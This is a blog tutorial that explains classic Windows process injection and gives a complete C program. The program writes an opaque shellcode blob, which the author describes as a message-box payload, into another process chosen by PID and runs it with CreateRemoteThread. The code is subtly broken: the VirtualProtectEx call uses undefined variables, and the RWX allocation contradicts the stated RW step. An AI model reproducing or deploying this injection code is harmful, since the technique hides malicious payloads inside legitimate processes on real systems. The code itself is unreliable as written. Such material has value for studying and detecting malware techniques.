Classic Process Injection
Published in
3 min readOct 2, 2023
In this blog, we will see how the classic process Injection works and write your first process injection code. Before that, I recommend you to read my previous blog post — Understanding Process Injection, which gives us an overview of process injection.
Steps involved in writing process injection:
- First, we need to identify the target process and obtain the handle to a target process. we need to get or open the already running process which runs at the same privilege level.
- Next we need to allocate new memory regions with read and write permission at the target process. Still, the payload is not executable, because the thread does not have the executable permission.
- Now we have an allocated memory with RW(read and write), we need to write payload into the allocated memory.
- Then we need to change the base protection from RW (read and write) to RX (read and execute.)
- Now we can create a new thread and execute the payload.
Win32 API call used:
- Obtain Handle to a target process — CreateToolHelp32Snapshot, OpenProcess
- Allocate new memory at target process — VirtualAllocEx
- Write payload into newly allocated memory — WriteProcessMemory
- Create a new remote thread — CreateRemoteThread.
Sample Classic Process Injection code
#include <stdio.h>
#include <Windows.h>
int main(int argc, char *argv[])
{
unsigned char shellcode[] =
"\x48\x31\xc9\x48\x81\xe9\xc6\xff\xff\xff\x48\x8d\x05\xef\xff"
"\xff\xff\x48\xbb\x1d\xbe\xa2\x7b\x2b\x90\xe1\xec\x48\x31\x58"
"\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\xe1\xf6\x21\x9f\xdb\x78"
"\x21\xec\x1d\xbe\xe3\x2a\x6a\xc0\xb3\xbd\x4b\xf6\x93\xa9\x4e"
"\xd8\x6a\xbe\x7d\xf6\x29\x29\x33\xd8\x6a\xbe\x3d\xf6\x29\x09"
"\x7b\xd8\xee\x5b\x57\xf4\xef\x4a\xe2\xd8\xd0\x2c\xb1\x82\xc3"
"\x07\x29\xbc\xc1\xad\xdc\x77\xaf\x3a\x2a\x51\x03\x01\x4f\xff"
"\xf3\x33\xa0\xc2\xc1\x67\x5f\x82\xea\x7a\xfb\x1b\x61\x64\x1d"
"\xbe\xa2\x33\xae\x50\x95\x8b\x55\xbf\x72\x2b\xa0\xd8\xf9\xa8"
"\x96\xfe\x82\x32\x2a\x40\x02\xba\x55\x41\x6b\x3a\xa0\xa4\x69"
"\xa4\x1c\x68\xef\x4a\xe2\xd8\xd0\x2c\xb1\xff\x63\xb2\x26\xd1"
"\xe0\x2d\x25\x5e\xd7\x8a\x67\x93\xad\xc8\x15\xfb\x9b\xaa\x5e"
"\x48\xb9\xa8\x96\xfe\x86\x32\x2a\x40\x87\xad\x96\xb2\xea\x3f"
"\xa0\xd0\xfd\xa5\x1c\x6e\xe3\xf0\x2f\x18\xa9\xed\xcd\xff\xfa"
"\x3a\x73\xce\xb8\xb6\x5c\xe6\xe3\x22\x6a\xca\xa9\x6f\xf1\x9e"
"\xe3\x29\xd4\x70\xb9\xad\x44\xe4\xea\xf0\x39\x79\xb6\x13\xe2"
"\x41\xff\x32\x95\xe7\x92\xde\x42\x8d\x90\x7b\x2b\xd1\xb7\xa5"
"\x94\x58\xea\xfa\xc7\x30\xe0\xec\x1d\xf7\x2b\x9e\x62\x2c\xe3"
"\xec\x1c\x05\xa8\x7b\x2b\x95\xa0\xb8\x54\x37\x46\x37\xa2\x61"
"\xa0\x56\x51\xc9\x84\x7c\xd4\x45\xad\x65\xf7\xd6\xa3\x7a\x2b"
"\x90\xb8\xad\xa7\x97\x22\x10\x2b\x6f\x34\xbc\x4d\xf3\x93\xb2"
"\x66\xa1\x21\xa4\xe2\x7e\xea\xf2\xe9\xd8\x1e\x2c\x55\x37\x63"
"\x3a\x91\x7a\xee\x33\xfd\x41\x77\x33\xa2\x57\x8b\xfc\x5c\xe6"
"\xee\xf2\xc9\xd8\x68\x15\x5c\x04\x3b\xde\x5f\xf1\x1e\x39\x55"
"\x3f\x66\x3b\x29\x90\xe1\xa5\xa5\xdd\xcf\x1f\x2b\x90\xe1\xec"
"\x1d\xff\xf2\x3a\x7b\xd8\x68\x0e\x4a\xe9\xf5\x36\x1a\x50\x8b"
"\xe1\x44\xff\xf2\x99\xd7\xf6\x26\xa8\x39\xea\xa3\x7a\x63\x1d"
"\xa5\xc8\x05\x78\xa2\x13\x63\x19\x07\xba\x4d\xff\xf2\x3a\x7b"
"\xd1\xb1\xa5\xe2\x7e\xe3\x2b\x62\x6f\x29\xa1\x94\x7f\xee\xf2"
"\xea\xd1\x5b\x95\xd1\x81\x24\x84\xfe\xd8\xd0\x3e\x55\x41\x68"
"\xf0\x25\xd1\x5b\xe4\x9a\xa3\xc2\x84\xfe\x2b\x11\x59\xbf\xe8"
"\xe3\xc1\x8d\x05\x5c\x71\xe2\x6b\xea\xf8\xef\xb8\xdd\xea\x61"
"\xb4\x22\x80\xcb\xe5\xe4\x57\x5a\xad\xd0\x14\x41\x90\xb8\xad"
"\x94\x64\x5d\xae\x2b\x90\xe1\xec";
HANDLE processHandle;
HANDLE remoteThread;
PVOID remoteBuffer;
printf("Injecting to PID: %i", atoi(argv[1])); //1st argument as userinput (process id)
processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1]))); //Obtain handle to a target process.
remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof shellcode, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE); //Allocate a memory in the target process and change the memory permission into RW(read and write)
WriteProcessMemory(processHandle, remoteBuffer, shellcode, sizeof shellcode, NULL); //Write our payload into allocate memory space.
VirtualProtectEx(process, remotememory, payloadsize, PAGE_EXECUTE_READ, &oldprotection); //Changing memory protection from RW (read and write) to RX(read and execute).
remoteThread = CreateRemoteThread(processHandle, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL);
CloseHandle(processHandle); // Create remote thread
return 0;
}
Code Walkthrough:
- First, define the shellcode you want to inject, here we have a shellcode that popup a message box containing a hello world message.
- Declare the variables. These variables will be used to hold handles to the target process, the remote thread, and the allocated memory in the target process.
- OpenProcess API opens a handle to the target process identified by the process ID.
- Then the memory is allocated within the target process using VirtualAllocEx. The memory is allocated with read, write, and execute permissions (PAGE_EXECUTE_READWRITE). The shellcode is going to be written into this allocated memory.
- Using WriteProcessMemory, we write the shellcode into the allocated memory space within the target process.
- Then we change the memory protection of the allocated memory from read/write to read/execute using VirtualProtectEx.
- Then the remote thread is created in the target process using CreateRemoteThread. The thread is started at the address of the remoteBuffer where your shellcode is located.
- After injecting the shellcode, the handle to the target process is closed using CloseHandle().
We’ll see more process injection techniques in the upcoming blog series.
Thanks for Reading !!!
Stay connected! Happy Hacking!!!